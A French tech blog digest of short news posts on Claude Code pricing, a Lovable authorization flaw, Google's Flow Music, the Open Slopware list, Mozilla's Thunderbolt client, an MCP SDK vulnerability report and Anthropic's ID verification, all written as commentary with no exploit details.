Le problème de ce genre de test, c'est qu'il se passe à la vue de tous. Un test A/B est censé tester silencieusement deux variantes sur un petit segment d'utilisateurs. Quand la documentation publique change et que tout le monde voit Claude Code disparaître de la ligne Pro, on n'est plus vraiment dans le test, on est dans le flottement.
En pratique, un développeur qui souscrit aujourd'hui ne sait pas si Claude Code sera inclus ou pas. Du coup certains abonnés parlent de modification de plan sans préavis et évoquent carrément des alternatives chinoises moins chères comme porte de sortie.
Maintenant il faut savoir qu'Anthropic n'est pas le seul à serrer la vis. GitHub Copilot et Google Gemini Code Assist ont connu les mêmes tensions sur leurs quotas, face à une demande qui dépasse ce que les marges permettent de subventionner.
Un Pro à 20 dollars avec du Claude Code illimité, ça ressemblait quand même à un cadeau subventionné pour les premiers abonnés. À un moment, la facture arrive.
Bref, Anthropic veut faire passer la pilule sans le dire. Si l'usage a explosé au point de casser l'économie du plan, un vrai changement de tarif aurait été plus honnête qu'un test planqué.
Lovable, l'étoile montante du vibe coding (vous savez, ces plateformes où vous décrivez une app en langage naturel et une IA vous génère le code), traverse un sale moment.
Un chercheur en sécurité, répondant au doux pseudo de @weezerOSINT, a découvert une faille BOLA (Broken Object Level Authorization) qui permettait à n'importe qui de lire les identifiants, les historiques de chat et le code source de tous les projets créés avant novembre 2025 sur la plateforme.
Bienveillant, le chercheur a envoyé son rapport via HackerOne début mars. Le rapport a été fermé, au motif que les partenaires HackerOne estimaient que l'accès aux chats de projets publics était en fait "le comportement attendu".
Sauf qu'il ne s'agissait pas de projets publics mais de données privées, c'est ballot. Six mois de données se sont retrouvées exposées pendant que le ticket dormait.
Quand l'info est remontée publiquement, la société Lovable a d'abord sorti un premier communiqué. Voilà la version officielle : "c'est du comportement intentionnel" et "notre documentation manquait de clarté". Oui alors bof comme explication...
La gronde est donc montée, en particulier du côté des boîtes comme Uber, Zendesk ou Deutsche Telekom qui utilisent Lovable et se sont retrouvées à devoir expliquer à leurs équipes sécurité ce que faisait leur code source sur une plateforme, à cause de contrôles d'accès défaillants.
Il y a donc eu un second communiqué, avec un rétropédalage complet. Lovable reconnaît désormais que le premier post "n'adressait pas correctement notre erreur" et pointe désormais HackerOne comme responsable du fait que la faille n'ait pas été corrigée plus tôt...
On est donc là sur une stratégie de com qui consiste à balancer sous le bus son propre prestataire de bug bounty, alors que HackerOne n'est que le canal de réception des rapports.
Le vrai sujet dans tout ça, c'est qu'une plateforme qui propose de générer du code à la volée pour des clients enterprise aurait dû avoir des contrôles d'autorisation de base depuis le premier jour. Le vibe coding est une très belle promesse commerciale, mais les boîtes qui hébergent les projets générés doivent gérer la sécurité comme les vrais hébergeurs cloud.
Ce genre d'incident rappelle que la vitesse de génération ne remplace pas les fondamentaux... Bref, on est là sur une triple faute : vulnérabilité de base, gestion du rapport cassée, com de crise désastreuse.
Ça y est les amis, comme à Fraggle Rock, Google entre enfin dans la danse de la musique IA avec
Flow Music
. Son service vient de sortir en freemium, et c'est la réponse officielle de Mountain View à
Suno
et
Udio
. Et derrière le volant, on retrouve Lyria 3, le modèle de DeepMind spécialisé dans la génération musicale.
Une fois sur le site, c'est du classique. Vous tapez un prompt du genre "lofi beat pour vibe coder la nuit", ensuite vous cliquez sur le bouton, et pouf quelques secondes après, l'IA vous pond un morceau complet avec vocaux dynamiques et arrangement d'une qualité foooollllle ! Et celui-ci peut aller jusqu'à 3 minutes en passant par le modèle Lyria 3 Pro. Après, rien d'inédit côté concept, car y'a déjà Suno depuis 2023 et Udio depuis 2024 qui font ça. Sauf que Google a empilé pas mal de features pour se démarquer et pas des moindres, vous allez voir !
D'abord leurs machin baptisé Spaces, c'est le truc qui m'a fait lever un premier sourcil. En fait, au lieu de taper un simple prompt, vous pouvez vibe-coder votre propre outil : un clavier virtuel, un mini-jeu musical, un DAW maison. Vous décrivez ce que vous voulez, puis l'IA génère l'interface, et ensuite vous jouez avec. Sur la homepage, ils montrent par exemple un piano miniature jouable à la souris, genre prototype fait en moins de 10 minutes. En fait l'idée, c'est que chacun se bricole son interface. Suno et Udio ont chacun leur panoplie d'outils plus avancés (mode studio, édition timeline, inpainting), mais l'approche Spaces, clairement, personne d'autre ne la propose pour l'instant !
Autre truc pratique, l'articulation avec Veo, le modèle vidéo maison de Google. En gros, Veo génère directement image et audio de son côté, et Lyria 3 sert de moteur musical dédié quand vous préférez gérer séparément votre bande-son. Pratique pour les créateurs YouTube qui veulent produire vite sans sortir leur caméra. D'ailleurs, Google Vids (l'éditeur vidéo de Workspace) intègre Lyria 3 pour la musique et Veo pour la vidéo, donc les deux univers se parlent déjà.
Côté features plus traditionnelles, vous avez le remix, les effets audio, la séparation des stems pour isoler les pistes, et des crédits journaliers pour la formule gratuite histoire de vous amuser. L'outil apprend aussi votre style au fil des usages, genre playlist Spotify mais en version génération (bonjour la bulle algorithmique).
Le hic qui va faire râler par contre c'est le
marquage SynthID
d'office. Google pose un watermark imperceptible sur tous les morceaux générés, un peu comme un tampon encreur invisible. L'idée, c'est d'identifier les contenus produits par l'IA Google, sans forcément d'empêcher les usages pénibles.
Côté voix, Suno propose un système de voice profile encadré avec vérification des droits et Flow Music n'a pour le moment aucune fonction équivalente officielle. Et ça ne propose que 3 minutes max par morceau alors que Suno peut monter à 8 minutes. Je pense donc que les musiciens IA "pros" resteront chez les concurrents. Mais c'est pas la même cible alors ça ne me choque pas. Flow Music vise plutôt les créateurs de contenu qui veulent se faire une BO rapide !
Dernier détail, les droits commerciaux restent flous sur la version gratuite. À vous donc de vérifier ça dans les conditions d'utilisation avant de coller votre nouveau morceau dans une vidéo monétisée. Côté dataset d'entraînement, Google dit s'appuyer sur des contenus qu'il estime pouvoir exploiter via ses CGU YouTube et ses accords partenaires sauf que des artistes indépendants ont porté plainte en mars 2026 en contestant cette lecture, donc l'histoire n'est pas encore tranchée.
On verra bien, mais en attendant, c'est gratuit, dispo sans carte bancaire, et en deux clics c'est parti pour que vous commenciez à rêver d'une Victoire de la Musique. Moi de mon côté, je vais aller creuser les Spaces, c'est là que Flow Music se démarque vraiment. J'ai même fait une guitare en spaghetti, ma créativité est tellement sous cotée ^^!
Ce matin en buvant mon café, je suis tombé sur un dépôt qui m'a fait tiquer et j'aimerai prendre quelques minutes pour vous en parler. Ça s'appelle
Open Slopware
, c'est hébergé sur Codeberg, et ça recense tous les projets open source qui ont eu le "malheur" de laisser l'IA s'approcher de leur code.
En fait, c'est une grande liste organisée par types de reproches, allant du projet qui autorise les contributions faites avec des LLM, à celui qui intègre une fonctionnalité IA, en passant par ceux qui acceptent du sponsoring d'entreprises IA ou qui ont un bot qui répond aux issues. Plus de 100 projets sont épinglés pour le moment, avec à chaque fois une alternative "AI-free" proposée. Forkée après que le repo original ait été supprimé par son créateur, la version actuelle est aujourd'hui maintenue par un collectif baptisé "small-hack".
Dans cette liste, on retrouve par exemple rsync, cet outil que j'utilise depuis bientôt 20 ans pour synchroniser mes backups et autres joyeusetés. Et l'unique grief qu'on les anti-IA contre Rsync, c'est qu'ils ont trouvé 2 contribs Claude Code dans leur dépôt. Autrement dit, rsync autorise ses contributeurs à utiliser des LLM, à condition que ce soit documenté et transparent. C'est ça, leur crime. C'est pas du code pourri, c'est pas une faille injectée par un vibe coder pressé à 3h du mat'... Non, ce qui vaut à Rsync d'être qualifié de slopware, c'est juste une politique d'ouverture explicite.
Perso, je trouve ça sain d'avoir une politique qui encadre l'usage de l'IA, même si je sais que je vais me faire allumer ^^. Parce que soyons réalistes 2 secondes, aucun mainteneur de projet libre ne peut empêcher un contributeur de balancer un patch généré par Claude ou ChatGPT. Ce qu'il peut faire, par contre, c'est exiger que ce soit déclaré. Rsync a choisi cette voie. Godot Engine aussi. Comme ça, plutôt que d'avoir des gens qui se planquent pour pousser du code IA en douce, on a un cadre clair où chacun annonce la couleur.
Je pense qu'interdire pousse à cacher, alors qu'autoriser avec des règles strictes et claires permet de filtrer et de ne garder que le meilleur. C'est pas sorcier.
Ces projets posent des règles, des process, des obligations de déclaration. Bref, ils prennent en compte le monde réel, celui où les contributeurs utilisent déjà ces outils tous les jours, au lieu de s'enfermer dans des fantasmes utopistes qui voudraient qu'on revienne à la compilation à la bougie. Et en retour, ils se font malheureusement coller une étiquette de slopware par des randoms anonymes.
Alors qu'on ait des réserves sur l'IA, je le comprends totalement mais je trouve ça regrettable de venir chier dans les bottes des seuls qui essaient de poser un cadre. C'est tellement à côté de la plaque.
Le vrai slop les amis, il est ailleurs, dans les
repos vite faits balancés sur GitHub
par des gens qui n'ont jamais touché au code qu'ils publient. Pas chez rsync.
Et puis faut voir concrètement ce qu'il vous faudrait remplacer pour respecter leur doctrine. Un clone buggy de Rsync ? Un retour à tar ou à un client FTP des années 2000 ? Bon courage pour synchroniser 300 Go de photos avec ça sans que votre NAS chauffe tout le salon.
Pour Godot, il faudra migrer vers Pandemonium Engine, qui est un chouette fork mais maintenu quasi-exclusivement par une seule personne. Quand à Firefox ? Là c'est carrément open bar, puisque le projet est affiché à la fois pour sa politique de contribution et pour ses fonctionnalités IA intégrées. Du coup bon courage pour trouver un navigateur moderne qui n'ait pas touché à l'IA d'une manière ou d'une autre.
Et leur liste est sans fin puisqu'elle embarque aussi le noyau Linux, WordPress, Vim, Neovim et VS Code, histoire de bien finir le boulot.
Ils auraient plus vite fait de lister des projets garantis sans IA, ça consommerait moins de bande passante ^^, parce que là, ceux qu'ils balancent, c'est ceux qui ont communiqué sur le sujet mais allez savoir combien sont les projets "vertueux garantis sans LLM" dont les dev maquillent le code que l'IA leur a sorti.
Je tiens à rappeler quand même que le mot slop, à la base, désigne du contenu IA généré à la chaîne sans aucun contrôle humain. Coller cette étiquette sur des projets vieux de trente ans qui font juste évoluer leurs règles de contribution, c'est soit de la paresse intellectuelle, soit un procès d'intention. Et les mainteneurs ont beau préciser que leur liste n'est pas un outil de harcèlement, une fois qu'un projet est publiquement classé comme slopware, le mal est fait.
Ces projets, on les a quand même tous utilisés, souvent pendant des années, sans jamais rien donner en échange, ni un rond, ni une issue. Rsync a sauvé la vie à des millions d'admins sys qui n'ont jamais poussé la moindre ligne de code en retour. Firefox a tenu le web ouvert pendant vingt ans pendant qu'on migrait tous sur Chrome sans rien leur donner. Le noyau Linux fait tourner la moitié d'Internet. Les voir se faire taper dessus par des gens qui, dans leur grande majorité, n'ont jamais contribué non plus, juste parce qu'ils ont adapté leurs règles de contrib au monde actuel, je trouve ça assez irrespectueux en fait.
C'est facile de gueuler comme un putois sur les joueurs, quand on est en haut, bien au chaud dans les gradins.
Et visiblement, je suis loin d'être le seul à le ressentir comme ça. Plusieurs développeurs épinglés dans la liste ont publiquement parlé de chasse aux sorcières, et l'ambiance est tellement devenue toxique que l'auteur original du dépôt a fini par le supprimer après avoir reçu une avalanche de harcèlement des deux bords. Seth Larson, security developer-in-residence à la Python Software Foundation, a publié en février un billet intitulé Automated public shaming of open source maintainers, où il dénonce le shaming systématisé des bénévoles qui osent poser des règles sur l'IA. Et côté politiques officielles, Debian vient de passer 2 mois à débattre de l'acceptation des contributions IA pour finalement ne pas trancher, pendant que Gentoo et QEMU choisissaient l'interdiction pure et la Linux Foundation l'autorisation encadrée.
Bref, tout le monde tâtonne, personne n'a LA bonne réponse, et ça n'empêche pas Open Slopware de distribuer les mauvaises notes avec l'assurance d'un inspecteur du fisc.
Après, si vous avez pleiiiin de temps libre et que vous voulez reconstruire votre stack de A à Z autour de projets qui refusent tout contact avec des LLM, cette liste vous aidera à vivre selon votre religion. Mais retirer Rsync de sa boîte à outils parce qu'ils ont validé des contribs utiles poussées par un humain assisté par Claude Code, perso, je trouve ça un peu sévère.
Bref, les projets libres s'adaptent, comme ils l'ont toujours fait et les qualifier de slop parce qu'ils évoluent, je trouve ça moche.
MZLA, la filiale de la Mozilla Foundation qui gère Thunderbird, sort un client IA open source auto-hébergeable baptisé Thunderbolt. Multi-plateforme, compatible MCP et Agent Client Protocol, avec intégration du framework Haystack de deepset pour le RAG et les agents. Le tout doit pouvoir tourner sur votre infra, pas chez OpenAI.
Le positionnement est clair. Ryan Sipes, le patron de MZLA, résume : "Est-ce que vous voulez vraiment construire vos workflows IA sur un service propriétaire d'OpenAI ou d'Anthropic, avec toutes les données internes de votre boîte qui transitent par leurs serveurs ?"
La question est vite répondue pour pas mal de DSI en ce moment, surtout en Europe où la souveraineté des données est devenue un sujet bouillant.
Thunderbolt utilise des modèles au choix de l'utilisateur et peut tourner sur une seule machine, sans cluster à gérer. Côté protocoles, la compatibilité MCP (Model Context Protocol) et ACP (Agent Client Protocol) ouvre l'interopérabilité avec les serveurs et agents du marché.
L'intégration de Haystack, le framework d'orchestration IA de deepset (boîte allemande), gère le RAG, les applications multimodales et les agents. Du coup, Thunderbolt ne fait pas que du chat, il peut chercher dans vos documents, croiser des sources, et exécuter des tâches.
La cible, c'est les entreprises qui veulent un Copilot ou un ChatGPT Enterprise sans donner leurs fichiers à Microsoft ou OpenAI. Le code est sur GitHub, et MZLA travaille aussi sur une version hébergée pour les petites équipes qui n'ont pas d'infra à déployer.
Côté crédibilité, MZLA a l'avantage du track record Thunderbird, un projet open source géré proprement depuis des années, avec une communauté active et un financement stable via la Mozilla Foundation. Ce n'est pas un énième side project IA lancé par une startup de quatre personnes. La base de contributeurs existe déjà.
Bref, si vous cherchez un client IA d'entreprise qui ne finit pas chez OpenAI, Thunderbolt est une piste sérieuse.
200 000 serveurs. C'est le nombre de machines potentiellement exposées à l'exécution de commandes système arbitraires via une faille de conception dans le SDK MCP d'Anthropic, d'après les chercheurs d'OX Security.
L'interface STDIO du protocole permet de créer des sous-processus sans contrôle, ce qui ouvre la porte à n'importe quelle commande OS sur la machine hôte.
Le problème touche tous les langages supportés par le SDK : Python, TypeScript, Java, Rust. Et les packages concernés totalisent plus de 150 millions de téléchargements. Les chercheurs ont documenté quatre classes de vulnérabilité. D'abord de l'injection de commandes non authentifiée, testée sur LangFlow (toutes les versions) et GPT Researcher
Ensuite des contournements de sécurité sur Upsonic et Flowise. Et puis de l'injection de prompt zero-click dans des IDE comme Windsurf, Cursor, Gemini-CLI et GitHub Copilot. Et enfin du "marketplace poisoning" : 9 marketplaces MCP sur 11 testées ont accepté un serveur malveillant de démonstration sans broncher.
10 CVE de niveau élevé ou critique ont été émis. OX Security a mené plus de 30 processus de divulgation responsable depuis novembre 2025, avant de rendre les résultats publics en avril.
La réponse d'Anthropic est celle qui fait grincer des dents. La boîte considère que le comportement est "attendu" et a refusé de modifier l'architecture du SDK. Elle a publié des recommandations de sécurité mises à jour, mais selon les chercheurs, "ça n'a rien corrigé". En clair, Anthropic estime que la sécurité de l'interface STDIO est du ressort de l'utilisateur qui déploie, pas du protocole lui-même.
C'est quand même un positionnement gênant, MCP est devenu un standard de facto pour connecter des modèles IA à des outils externes, et des milliers d'entreprises et de développeurs l'ont adopté.
Si le SDK officiel laisse passer de l'exécution de code arbitraire par design, et que la réponse officielle est "c'est voulu, sécurisez vous-mêmes", la responsabilité est déplacée vers l'aval sans filet.
Bref, si vous déployez du MCP en prod, les recommandations d'OX Security valent le détour. Anthropic ne corrigera pas à votre place.
Pour accéder à certaines fonctionnalités de Claude, Anthropic peut maintenant vous demander une pièce d'identité officielle (passeport, permis de conduire, carte nationale d'identité) et un selfie en temps réel. La vérification est gérée par Persona, un prestataire externe, et les données ne sont ni stockées par Anthropic, ni utilisées pour l'entraînement des modèles. Les photocopies, les cartes étudiantes et les pièces numériques ne sont pas acceptées.
Le mécanisme se déclenche a priori dans plusieurs cas : accès à des capacités spécifiques, vérifications d'intégrité de plateforme, ou mesures de conformité. Anthropic ne détaille pas vraiment les usages qui déclenchent cette vérification, ce qui crée du coup un flou que pas mal d'utilisateurs n'apprécient pas des masses.
Le timing est franchement gênant. Des millions d'utilisateurs ont migré vers Claude ces derniers mois, après les polémiques sur la surveillance et les accords controversés d'OpenAI avec des agences gouvernementales. "Vous avez quitté OpenAI pour la vie privée. Claude veut maintenant votre passeport", déclarent même certains journalistes. L'image n'est pas fausse.
Anthropic se défend, en expliquant que les images restent chez Persona, Anthropic y accède uniquement sur demande (appel, par exemple), et le prestataire est contractuellement interdit de les utiliser à d'autres fins que la vérification et la prévention des fraudes. Pas de revente, pas de marketing. Sur le papier, c'est propre. En pratique, vous donnez quand même un document d'identité gouvernemental à un sous-traitant pour pouvoir poser des questions à un chatbot.
La vraie question, c'est pourquoi. Anthropic invoque la sécurité et la conformité, mais la pression réglementaire sur les modèles d'IA pousse les éditeurs à vérifier l'âge et l'identité des utilisateurs, surtout quand leurs modèles deviennent plus puissants. On l'a vu avec OpenAI et son programme Trusted Access for Cyber, même logique d'accès vérifié.
Pour les utilisateurs qui utilisent Claude pour du code, de l'écriture ou de la recherche, ça ne changera probablement rien au quotidien. La vérification ne se déclenche pas pour tout le monde, pas tout le temps. Mais si ça tombe sur vous, refuser revient à perdre l'accès aux fonctionnalités concernées. Pas d'alternative proposée.
Bref, il y a là une logique réglementaire, mais le contraste avec l'image "pro-vie privée" d'Anthropic pique un peu.
Connexion
